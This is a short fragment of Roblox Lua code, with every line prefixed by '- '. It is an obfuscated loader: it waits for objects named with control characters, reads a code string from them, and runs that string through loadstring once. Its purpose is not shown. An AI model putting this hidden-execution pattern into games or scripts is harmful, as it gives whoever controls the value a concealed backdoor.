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- local rmv = function(a,b) game:service('Debris'):AddItem(a,b) end
- coroutine.wrap(function()
- script:WaitForChild(('\a'):rep(8))
- script:findFirstChild(('\a'):rep(8)):WaitForChild('\a\a\n\n')
- local idx = {script:findFirstChild(('\a'):rep(8)).Value,script:findFirstChild(('\a'):rep(8)):findFirstChild('\a\a\n\n').Value}
- script:findFirstChild(('\a'):rep(8)).Value = 'ran' rmv(script:findFirstChild(('\a'):rep(8)):findFirstChild('\a\a\n\n'):Destroy(),0)
- if not idx[1]:find(idx[2]) or script:findFirstChild('r\a\n') then return end
- Instance.new('IntValue',script).Name = 'r\a\n'
- local e,er = ypcall(function() loadstring('coroutine.wrap(function()' .. idx[1]:sub(11) .. ' end)()')() end)
- end)()
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